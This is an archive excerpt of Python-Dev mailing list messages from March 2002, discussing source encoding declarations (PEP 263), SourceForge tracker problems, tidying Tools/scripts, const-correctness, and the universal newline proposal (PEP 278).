This is a test of the emergency broadcasting system.

and it will decide that the text is in English. If you enter

THIS IS A TEST OF THE EMERGENCY BROADCASTING SYSTEM.

then it cannot identify the text. At least it says that much. Lextek's
identifier identifies that text as Catalan or something.

The other issue to deal with when finding training data is its
cleanliness. Spidering the web can be hard because English is
everywhere. If you don't strip markup, then the markup can overwhelm
the text and result in a bogus profile.

Anyway, statistical detection is good and doable, but it has to be
thought out, and you need enough data (we use at least 5 megabytes,
and often 10-15 megabytes, of clean text for each language and
encoding pair we support in our detector) to build a good model. The
more languages/encodings you support, the more data you need.

> But the Web in general provides (mandatory) protocols for identifying=

> content-type, yet I regularly see HTML files with incorrect http-equi=
v
> meta elements, and XHTML with no encoding declaration containing Shif=
t
> JIS.  Microsoft software for Japanese apparently ignores Content-Type=

> headers and the like in favor of autodetection (probably because the
> same MS software regularly relies on users to set things like charset=

> parameters in MIME Content-Type).

Mandatory protocols are useless if no one actually pays attention to
them. That is why browser manufacturers generally ignore the
Content-Type header. At the very least if something claims to be
ISO-8859-1, it probably isn't. And worse than an XHTML document with
no encoding declaration containing ShiftJIS, I've seen XHTML documents
that explicitly declare UTF-8 that contain ShiftJIS.

How does Java deal with this=3F Are all files required to be in UTF-8=3F=


--=20
Tom Emerson                                          Basis Technology C=
orp.
Sr. Computational Linguist                         http://www.basistech=
.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever=
"


From aahz@pythoncraft.com  Wed Mar 13 15:05:17 2002
From: aahz@pythoncraft.com (Aahz)
Date: Wed, 13 Mar 2002 10:05:17 -0500 (EST)
Subject: [Python-Dev] SF tracker problems
In-Reply-To: <u8z8wsey5.fsf@python.net>
References: <SASl3IAyAUj8EwS4@jessikat.fsnet.co.uk> <a6nnsg$chc$1@panix1.panix.com>
Message-ID: <200203131505.g2DF5Hf20070@panix1.panix.com>

Figured this should be moved.

------- start of forwarded message -------
Newsgroups: comp.lang.python
From: Michael Hudson <mwh@python.net>
Subject: Re: zlib vulnerabilities and python
Message-ID: <u8z8wsey5.fsf@python.net>
References: <SASl3IAyAUj8EwS4@jessikat.fsnet.co.uk> <a6nnsg$chc$1@panix1.panix.com>
Date: Wed, 13 Mar 2002 14:43:13 GMT

aahz@pythoncraft.com (Aahz) writes:

> In article <SASl3IAyAUj8EwS4@jessikat.fsnet.co.uk>,
> Robin Becker  <robin@jessikat.fsnet.co.uk> wrote:
>>
>>Does the recent zlib double free vulnerability
>>http://news.com.com/2100-1001-857008.html 
>>impact zlib.pyd? 
> 
> Dunno, but I filed a SF bug to check compatibility with the new 1.1.4.

But because mail from the sf tracker seems to be hitting the bit
bucket, noone knows about this.

Time to look at roundup again?  The tracker on sf is starting to piss
me off (even more).

Cheers,
M.

-- 
  We've had a lot of problems going from glibc 2.0 to glibc 2.1.
  People claim binary compatibility.  Except for functions they
  don't like.                       -- Peter Van Eynde, comp.lang.lisp
------- end of forwarded message -------



From mwh@python.net  Wed Mar 13 15:22:11 2002
From: mwh@python.net (Michael Hudson)
Date: 13 Mar 2002 15:22:11 +0000
Subject: [Python-Dev] SF tracker problems
In-Reply-To: aahz@pythoncraft.com's message of "Wed, 13 Mar 2002 10:05:17 -0500 (EST)"
References: <SASl3IAyAUj8EwS4@jessikat.fsnet.co.uk> <a6nnsg$chc$1@panix1.panix.com> <200203131505.g2DF5Hf20070@panix1.panix.com>
Message-ID: <2m66405w7w.fsf@starship.python.net>

aahz@pythoncraft.com (Aahz) writes:

> Figured this should be moved.

Probably right.  Slightly surprisingly, there doesn't seem to be a
sf support request on this issue -- maybe it's just us?

I'll file one... here:

https://sourceforge.net/tracker/index.php?func=detail&aid=529477&group_id=1&atid=200001

Cheers,
M.

> ------- start of forwarded message -------
> Newsgroups: comp.lang.python
> From: Michael Hudson <mwh@python.net>
> Subject: Re: zlib vulnerabilities and python
> Message-ID: <u8z8wsey5.fsf@python.net>
> References: <SASl3IAyAUj8EwS4@jessikat.fsnet.co.uk> <a6nnsg$chc$1@panix1.panix.com>
> Date: Wed, 13 Mar 2002 14:43:13 GMT
> 
> aahz@pythoncraft.com (Aahz) writes:
> 
> > In article <SASl3IAyAUj8EwS4@jessikat.fsnet.co.uk>,
> > Robin Becker  <robin@jessikat.fsnet.co.uk> wrote:
> >>
> >>Does the recent zlib double free vulnerability
> >>http://news.com.com/2100-1001-857008.html 
> >>impact zlib.pyd? 
> > 
> > Dunno, but I filed a SF bug to check compatibility with the new 1.1.4.
> 
> But because mail from the sf tracker seems to be hitting the bit
> bucket, noone knows about this.
> 
> Time to look at roundup again?  The tracker on sf is starting to piss
> me off (even more).
> 
> Cheers,
> M.
> 
> -- 
>   We've had a lot of problems going from glibc 2.0 to glibc 2.1.
>   People claim binary compatibility.  Except for functions they
>   don't like.                       -- Peter Van Eynde, comp.lang.lisp
> ------- end of forwarded message -------
> 
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
> 

-- 
42. You can measure a programmer's perspective by noting his
    attitude on the continuing vitality of FORTRAN.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From martin@v.loewis.de  Wed Mar 13 17:05:04 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 13 Mar 2002 18:05:04 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
 <15502.62714.274557.959108@magrathea.basistech.com>
 <m36640sy1h.fsf@mira.informatik.hu-berlin.de>
 <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3henkv1of.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> I would think that UTF-8 can be quite reliably detected without the
> "BOM".

There is a difference between auto-detection and declaration. Sure,
you can auto-detect UTF-8; you might have to read the entire text for
that, though. This is quite different from a declaration: The text
either is declared as UTF-8, or it isn't.

> Microsoft software for Japanese apparently ignores Content-Type
> headers and the like in favor of autodetection (probably because the
> same MS software regularly relies on users to set things like
> charset parameters in MIME Content-Type).

Auto-detection is useful for displaying content to users. It is evil
for a programming language.

Regards,
Martin


From Juergen Hermann" <j.her@t-online.de  Wed Mar 13 18:57:01 2002
From: Juergen Hermann" <j.her@t-online.de (Juergen Hermann)
Date: Wed, 13 Mar 2002 19:57:01 +0100
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <005001c1ca93$c6533670$0202a8c0@boostconsulting.com>
Message-ID: <16lDwY-1Jgcm8C@fwd02.sul.t-online.com>

On Wed, 13 Mar 2002 08:31:50 -0500, David Abrahams wrote:

>Am I missing something? Admittedly, I'm not intimately familiar with
>what the 'C' committee did to the library when they introduced const to=

>the language.

They fixed it, leaving intentional warts like that strchr() takes a
const char* and returns a char*, in order to not break existing code. 

My original intention was to do exactly that to the (public, most often
used) Python interface.

Ciao, J=FCrgen




From guido@python.org  Wed Mar 13 19:17:53 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 13 Mar 2002 14:17:53 -0500
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: Your message of "Wed, 13 Mar 2002 19:57:01 +0100."
 <16lDwY-1Jgcm8C@fwd02.sul.t-online.com>
References: <16lDwY-1Jgcm8C@fwd02.sul.t-online.com>
Message-ID: <200203131917.g2DJHrx21755@pcp742651pcs.reston01.va.comcast.net>

> My original intention was to do exactly that to the (public, most often
> used) Python interface.

Have you tried this on a small scale?  Would it make sense to try it
on a larger scale as a patch submitted to SF to see how bad the impact
would be?  (No guarantee that the patch will be accepted, but showing
an open mind.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From trentm@ActiveState.com  Wed Mar 13 20:44:58 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 13 Mar 2002 12:44:58 -0800
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
Message-ID: <20020313124458.C15069@ActiveState.com>

I would like to be able to comfortably add Python's Tools/scripts directory
to my PATH because there are some useful things in there. However there is
also some crap in there. Would anyone object to my making some changes to
this directory? Things I have in mind:

    - move obseleted scripts to, say, Tools/scripts-old or Tools/scripts/old
    - improve the command line interface of some of the scripts to, for
      example, have -h|--help options
    - perhaps improve the internal documentation in some of them
    - trash which.py and provide a better one that actually works on Windows

I just want to see if this would be controversial before I start making
patches.

Cheers,
Trent

-- 
Trent Mick
TrentM@ActiveState.com


From barry@zope.com  Wed Mar 13 21:34:21 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 13 Mar 2002 16:34:21 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
References: <20020313124458.C15069@ActiveState.com>
Message-ID: <15503.50653.369648.655578@anthem.wooz.org>

>>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:

    TM> I would like to be able to comfortably add Python's
    TM> Tools/scripts directory to my PATH because there are some
    TM> useful things in there.

I've thought about this too from time to time, but I'm wondering:
would it be better to install Tools/script some place <wink>, and put
that installed directory on the path?  It means we only need to
install the scripts that make sense to put on the path, but we have to
decide where we'd want to install it.

In fact, some Linux distros install a bunch of the Python tools (not
just from Tools/script) in /usr/bin so maybe we want to install a
bunch of the other Tools/* scripts as well?
    
    TM> However there is also some crap in there. Would anyone object
    TM> to my making some changes to this directory? Things I have in
    TM> mind:

+1 for adding useful module docstrings (a.k.a. usage strings),
consistent command line switches, etc.

    TM> I just want to see if this would be controversial before I
    TM> start making patches.

And I just wanted to see how far I could expand the scope of this good
idea. :)

-Barry


From martin@v.loewis.de  Wed Mar 13 22:25:17 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 13 Mar 2002 23:25:17 +0100
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <20020313124458.C15069@ActiveState.com>
References: <20020313124458.C15069@ActiveState.com>
Message-ID: <m3u1rkjeb6.fsf@mira.informatik.hu-berlin.de>

Trent Mick <trentm@ActiveState.com> writes:

>     - move obseleted scripts to, say, Tools/scripts-old or Tools/scripts/old

I think obsolete scripts should be removed from the CVS, or moved to
non-dist.

>     - improve the command line interface of some of the scripts to, for
>       example, have -h|--help options
>     - perhaps improve the internal documentation in some of them
>     - trash which.py and provide a better one that actually works on Windows

Sounds good. I think "make install" should install some of them, too.

Regards,
Martin


From Jack.Jansen@oratrix.com  Wed Mar 13 23:01:27 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 14 Mar 2002 00:01:27 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
Message-ID: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>

Folks,
the next version of PEP278, universal newline support, and the 
accompanying patch are available for your review and testing.

The patch has changed very little:
- open(filename, 'U') is now the way to open files for universal 
newline reading because 't' may have a use on Windows;
- --with-universal-newlines is now the default configure option.

The PEP has changed a bit more, mainly addressing issues brought 
up by Guido and Greg Ward.

Please read, test and comment,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From skip@pobox.com  Wed Mar 13 23:26:36 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 13 Mar 2002 17:26:36 -0600
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <m3u1rkjeb6.fsf@mira.informatik.hu-berlin.de>
References: <20020313124458.C15069@ActiveState.com>
 <m3u1rkjeb6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15503.57388.681777.691454@12-248-41-177.client.attbi.com>

    Martin> Trent Mick <trentm@ActiveState.com> writes:
    >> - move obseleted scripts to, say, Tools/scripts-old or
    >>   Tools/scripts/old

    Martin> I think obsolete scripts should be removed from the CVS, or
    Martin> moved to non-dist.

Depends on why they are obsolete.  I would vote too move any that are still
useful as demos to the Demo directory.

Skip


From guido@python.org  Wed Mar 13 23:47:40 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 13 Mar 2002 18:47:40 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: Your message of "Wed, 13 Mar 2002 12:44:58 PST."
 <20020313124458.C15069@ActiveState.com>
References: <20020313124458.C15069@ActiveState.com>
Message-ID: <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net>

> I would like to be able to comfortably add Python's Tools/scripts
> directory to my PATH because there are some useful things in there.

You mean you really type, e.g. "logmerge.py", with the .py???  When I
have something useful I always just add a symlink to my personal bin
directory.

> However there is also some crap in there.  Would anyone object to my
> making some changes to this directory?

Depends on what you want to do.

> Things I have in mind:
> 
>     - move obseleted scripts to, say, Tools/scripts-old or Tools/scripts/old

Which ones?

>     - improve the command line interface of some of the scripts to, for
>       example, have -h|--help options

Sure.

>     - perhaps improve the internal documentation in some of them

Sure.

>     - trash which.py and provide a better one that actually works on Windows

As long as it still works on Unix; I quite like what it does there.
Maybe the Windows one should be a different script?  I imagine it
would be entirely different, right?

> I just want to see if this would be controversial before I start
> making patches.

If you're not sure, it's always OK to post a detailed plan here or a
set of patches to SF. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fredrik@pythonware.com  Wed Mar 13 23:52:57 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 14 Mar 2002 00:52:57 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
References: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
Message-ID: <04a601c1caea$36e1f2e0$ced241d5@hagrid>

jack wrote:
> - open(filename, 'U') is now the way to open files for universal 
> newline reading because 't' may have a use on Windows;

"U" as in Ugly?

</F>



From trentm@ActiveState.com  Thu Mar 14 00:04:29 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 13 Mar 2002 16:04:29 -0800
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Wed, Mar 13, 2002 at 06:47:40PM -0500
References: <20020313124458.C15069@ActiveState.com> <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020313160429.A1046@ActiveState.com>

[Trent]
>     - move obseleted scripts to, say, Tools/scripts-old or Tools/scripts/old

[Guido]
> Which ones?

[Martin]
> I think obsolete scripts should be removed from the CVS, or moved to
> non-dist.

[Skip]
> Depends on why they are obsolete.  I would vote too move any that are still
> useful as demos to the Demo directory.

Okay, so deciding on what to do with these scripts will be a case-by-case
thing. I'll be more specific when I actually get around to doing it.


> >     - trash which.py and provide a better one that actually works on Windows
> 
> As long as it still works on Unix; I quite like what it does there.
> Maybe the Windows one should be a different script?  I imagine it
> would be entirely different, right?

I think it makes sense for it to be the same script. The functionality is
the same even if the implementation differs some. I have a which()
implementation that we have been using for Komodo, i.e. fairly well tested
and works on Windows and Linux. Again, no point discussing until I provide
more details.


Trent

-- 
Trent Mick
TrentM@ActiveState.com


From Juergen Hermann" <j.her@t-online.de  Thu Mar 14 00:17:57 2002
From: Juergen Hermann" <j.her@t-online.de (Juergen Hermann)
Date: Thu, 14 Mar 2002 01:17:57 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <04a601c1caea$36e1f2e0$ced241d5@hagrid>
Message-ID: <16lIwD-1lZRFwC@fwd02.sul.t-online.com>

On Thu, 14 Mar 2002 00:52:57 +0100, Fredrik Lundh wrote:

>jack wrote:
>> - open(filename, 'U') is now the way to open files for universal 
>> newline reading because 't' may have a use on Windows;
>
>"U" as in Ugly?

How about '\n'? [1/2 wink]
Ciao, J=FCrgen




From greg@cosc.canterbury.ac.nz  Thu Mar 14 00:27:56 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Thu, 14 Mar 2002 13:27:56 +1300 (NZDT)
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <04a601c1caea$36e1f2e0$ced241d5@hagrid>
Message-ID: <200203140027.NAA26805@s454.cosc.canterbury.ac.nz>

jack wrote:
> - open(filename, 'U') is now the way to open files for universal 
> newline reading because 't' may have a use on Windows;

Might be confusing, as it looks like it might have
something to do with Unicode.

How about 'N'?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From fredrik@pythonware.com  Thu Mar 14 00:16:47 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 14 Mar 2002 01:16:47 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
References: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com> <04a601c1caea$36e1f2e0$ced241d5@hagrid>
Message-ID: <000601c1caef$e75dc040$ced241d5@hagrid>

someone wrote:

> jack wrote:
> > - open(filename, 'U') is now the way to open files for universal 
> > newline reading because 't' may have a use on Windows;
> 
> "U" as in Ugly?

but except for the mode parameter, the "newlines" hack,
and possibly some intricate detail that I'm missing at this
late hour, I'm all +1 on this proposal.

(alternate idea: instead of adding a non-standard mode
flag, how about a "textfile" constructor?)

</F>



From fredrik@pythonware.com  Thu Mar 14 00:37:41 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 14 Mar 2002 01:37:41 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
Message-ID: <002801c1caf0$747b1630$ced241d5@hagrid>

someone wrote:

> (alternate idea: instead of adding a non-standard mode
> flag, how about a "textfile" constructor?)

with the following signature, perhaps:

    f = textfile(filename, mode="r", encoding=None)

</F>



From tim.one@comcast.net  Thu Mar 14 00:58:03 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 13 Mar 2002 19:58:03 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <20020313124458.C15069@ActiveState.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKECOOEAA.tim.one@comcast.net>

[Trent Mick]
> ...
> I just want to see if this would be controversial before I start making
> patches.

Heh.  Heh heh.  Heh heh heh.

heh-ing-ly y'rs  - tim


From tim.one@comcast.net  Thu Mar 14 01:03:25 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 13 Mar 2002 20:03:25 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOECOOEAA.tim.one@comcast.net>

Another idea to make Trent even sorrier he asked <wink>:

A number of scripts do transformations on "all Python files", for some
definition of "all", spelled various ways, and perhaps inconsistently about
whether or not they follow symbolic links, and definitely inconsistently
about whether they seek to recreate original permission masks, and in
whether or how they name backups.

"Traverse, maybe modify and replace" is a non-trivial but non-excruciating
blob of code that gets reinvented repeatedly, so pointless variations are
bound to creep in.

'Twould be nice to factor that out into a common, consistent utility.



From paul@prescod.net  Thu Mar 14 01:30:53 2002
From: paul@prescod.net (Paul Prescod)
Date: Wed, 13 Mar 2002 17:30:53 -0800
Subject: [Python-Dev] Next version of PEP278 - universal newline support -
 available
References: <002801c1caf0$747b1630$ced241d5@hagrid>
Message-ID: <3C8FFD4D.5CCE01A@prescod.net>

Fredrik Lundh wrote:
> 
> someone wrote:
> 
> > (alternate idea: instead of adding a non-standard mode
> > flag, how about a "textfile" constructor?)
> 
> with the following signature, perhaps:
> 
>     f = textfile(filename, mode="r", encoding=None)

Enthusiastic +1.

But I think that encoding should default to "ASCII". We also need to
discuss under what circumstances textfile("foo").read() returns Unicode
string versus 8-bit string.

 Paul Prescod


From stephen@xemacs.org  Thu Mar 14 01:45:52 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 14 Mar 2002 10:45:52 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <20020313124201.34544.qmail@web10407.mail.yahoo.com>
References: <20020313124201.34544.qmail@web10407.mail.yahoo.com>
Message-ID: <87lmcvvs4v.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Chris" == Chris Hagner <chagner@yahoo.com> writes:

    Chris> This may be naive, but would a package-level encoding
    Chris> specifier be a useful middle ground?

No.  Or rather, packagers would find it convenient, and then some poor
bloke with a spanking new Internet connection in .cn would import a
submodule from .ru covered only by a package-level declaration.

    Chris>   This would adhere to the "purity" of associating the
    Chris> encoding with the source files, but still provide a less
    Chris> laborious solution

Eliminating traffic signals would eliminate excess vertical eye motion
while driving, too.<wink>

Adding coding cookies to files is going to be a small one-time expense
that saves a _huge_ amount of grief.

For example, I'm planning to add cookie consistency checking to
XEmacs, and it would be easy to add "do you want a cookie?" facilities
to python-mode.  Doing a whole mixed tree would be a dozen lines in
Emacs Lisp (Python doesn't have the auto-detection facilities yet
AFAIK), and simply adding the cookie to every .py is obviously trivial
in a mono-coding project.  And no work is involved if you're pure ASCII.

    Chris> Along this line of thought, I would assume the big question
    Chris> would be, "Is it safe/fair/wise to assume a package's
    Chris> source files are homogenous (encoding-wise)?".

Not even internal to a development group, for many (eg, for Japanese,
or for Croatian Gastarbeiter in Germany) values of "development
group".

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From trentm@ActiveState.com  Thu Mar 14 01:54:34 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 13 Mar 2002 17:54:34 -0800
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOECOOEAA.tim.one@comcast.net>; from tim.one@comcast.net on Wed, Mar 13, 2002 at 08:03:25PM -0500
References: <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net> <LNBBLJKPBEHFEDALKOLCOECOOEAA.tim.one@comcast.net>
Message-ID: <20020313175434.B25807@ActiveState.com>

[Tim Peters wrote]
> "Traverse, maybe modify and replace" is a non-trivial but non-excruciating
> blob of code that gets reinvented repeatedly, so pointless variations are
> bound to creep in.
> 
> 'Twould be nice to factor that out into a common, consistent utility.

Any pointers on which script might have the best crack at that? reindent.py?
tabnanny.py? another?

Trent


-- 
Trent Mick
TrentM@ActiveState.com


From stephen@xemacs.org  Thu Mar 14 02:11:37 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 14 Mar 2002 11:11:37 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <m3henkv1of.fsf@mira.informatik.hu-berlin.de>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
 <15502.62714.274557.959108@magrathea.basistech.com>
 <m36640sy1h.fsf@mira.informatik.hu-berlin.de>
 <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3henkv1of.fsf@mira.informatik.hu-berlin.de>
Message-ID: <87henjvqxy.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> Auto-detection is useful for displaying content to
    Martin> users. It is evil for a programming language.

Thus speaks someone who advocates relying on user-maintained coding
cookies.<wink>

Look, I'll do my best to support PEP 263 for python-mode and make it
automatic and fairly reliable---but mandating use of X?Emacs would be
even less palatable than mandating UTF-8.

I appreciate your efforts in marketing XEmacs.  :-)


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From skip@pobox.com  Thu Mar 14 02:15:10 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 13 Mar 2002 20:15:10 -0600
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <20020313175434.B25807@ActiveState.com>
References: <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net>
 <LNBBLJKPBEHFEDALKOLCOECOOEAA.tim.one@comcast.net>
 <20020313175434.B25807@ActiveState.com>
Message-ID: <15504.1966.982206.533635@12-248-41-177.client.attbi.com>

    >> "Traverse, maybe modify and replace" is a non-trivial but
    >> non-excruciating blob of code that gets reinvented repeatedly, so
    >> pointless variations are bound to creep in.
    >> 
    >> 'Twould be nice to factor that out into a common, consistent utility.

    Trent> Any pointers on which script might have the best crack at that?
    Trent> reindent.py?  tabnanny.py? another?

Mailman has a script called 'withlist' that implements the basic "loop over
everything in the list".  The caller provides the name of a callable object
that is called, more or less like os.path.walk.  Might be a good place to
look.

Skip


From barry@zope.com  Thu Mar 14 03:32:08 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 13 Mar 2002 22:32:08 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
References: <200203132347.g2DNleI22244@pcp742651pcs.reston01.va.comcast.net>
 <LNBBLJKPBEHFEDALKOLCOECOOEAA.tim.one@comcast.net>
 <20020313175434.B25807@ActiveState.com>
 <15504.1966.982206.533635@12-248-41-177.client.attbi.com>
Message-ID: <15504.6584.979150.44596@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> Mailman has a script called 'withlist' that implements the
    SM> basic "loop over everything in the list".  The caller provides
    SM> the name of a callable object that is called, more or less
    SM> like os.path.walk.  Might be a good place to look.

Too bad there's nobody around here who knows anything about that code.

-Barry


From tim.one@comcast.net  Thu Mar 14 05:05:21 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 14 Mar 2002 00:05:21 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <20020313175434.B25807@ActiveState.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEDKOEAA.tim.one@comcast.net>

[Trent Mick, on a "Traverse, maybe modify and replace" file component]
> Any pointers on which script might have the best crack at that?
> reindent.py? tabnanny.py? another?

Well, that's the rub.  They all have "a feature" and they all suck <wink>.

"Innovations" I really like:

+ An -r switch to control whether directory recursion occurs.  Sometimes
  you simply don't want to touch subdirectories at all (e.g., I don't
  dare reindent the Lib/irix5 subtree, cuz I've got no way to test it).

+ A -d switch for a "dry run", just naming the files that *would* change.

reindent does those, and cleanfuture "inherited" them via cut 'n paste.  I
think they may or may not <wink> do the right thing with symlinks too.

OTOH, a shared irritating behavior may be that there's no way to get them to
tell you about *just* the files they change (their -v is too crude).  They
also "support" -h only in the sense that any unrecognized option triggers
the usage blurb.

Their backup code is arguable.  It's good to ensure that the new file can be
written before removing the original file, and good to do some form of
backup.  Also good not to just "remove" the original file but simply rename
it.  Whether existing backups should be silently nuked is debatable.

See, e.g., Guido's old classfix.py for a different approach.  That also
renames, but renames with a tilde turd at the end (jarring on Windows;
perhaps .bak is jarring on Unix); may or may not (I can't remember how Unix
works here) give up if the tilde form already exists; and (most important)
strives to reproduce the original file's permissions.  I got out of that
habit after years of Windows, and got lazy about hunting the code down to
paste in to new tools.  Curiously, nobody ever griped!  Maybe it was
actually a YDNI (You Didn't Need It)?

BTW, classfix.py is good for something else too:  getting out of this
directory <wink>.  It's trying to "fix" scripts that haven't been legal
since before Python 1.0.  It may belong next to the even more out-of-date
eqfix.py in Demo/scripts (did you know that Python *used* to use "=" for
both assignment and equality?!).

methfix.py is also one for the museum.

OTOH, I personally never tire of chuckling over of the existence of both
md5sum.py and sum5.py <wink>.



From barry@zope.com  Thu Mar 14 05:19:02 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 14 Mar 2002 00:19:02 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
References: <20020313175434.B25807@ActiveState.com>
 <LNBBLJKPBEHFEDALKOLCCEDKOEAA.tim.one@comcast.net>
Message-ID: <15504.12998.450804.499438@anthem.wooz.org>

>>>>> "TP" == Tim Peters <tim.one@comcast.net> writes:

    TP> "Innovations" I really like:

    TP> + An -r switch to control whether directory recursion occurs.
    TP> Sometimes you simply don't want to touch subdirectories at all
    TP> (e.g., I don't dare reindent the Lib/irix5 subtree, cuz I've
    TP> got no way to test it).

    TP> + A -d switch for a "dry run", just naming the files that
    TP> *would* change.

And /please/ have long-option alternatives for each of the short
opts.   E.g. --dry-run.  It is okay for there to only be a long-opt
version of a switch.  Also, always have -h/--help and (probably)
-V/--version.  Try to find a similar existing too and match its
options where appropriate (e.g. patch(1) has the essential --dry-run
and -b/--backup).  I don't know if there are standards for this kind
of thing, so make consistency a goal, but don't freak out if it's an
impossible goal to meet <wink>

    TP> See, e.g., Guido's old classfix.py for a different approach.
    TP> That also renames, but renames with a tilde turd at the end
    TP> (jarring on Windows; perhaps .bak is jarring on Unix); may or
    TP> may not (I can't remember how Unix works here) give up if the
    TP> tilde form already exists; and (most important) strives to
    TP> reproduce the original file's permissions.

Please, no tilde files.  AFAIK, that's an Emacs-ism that some other
editors have adopted, but few command line oriented programs have.
One of the beautiful things about using vc-mode or cvs-mode under
(X)Emacs is the total lack of dumb ~ files that need cleaning up
('cause they're all backed up under RCS or CVS anyway, so why make ~
backups?).
    
    TP> I got out of that habit after years of Windows, and got lazy
    TP> about hunting the code down to paste in to new tools.
    TP> Curiously, nobody ever griped!  Maybe it was actually a YDNI
    TP> (You Didn't Need It)?

Oh jeez, acronym explosion time.  Some How, I Think Not Obvious.

-Barry


From greg@cosc.canterbury.ac.nz  Thu Mar 14 05:20:23 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Thu, 14 Mar 2002 18:20:23 +1300 (NZDT)
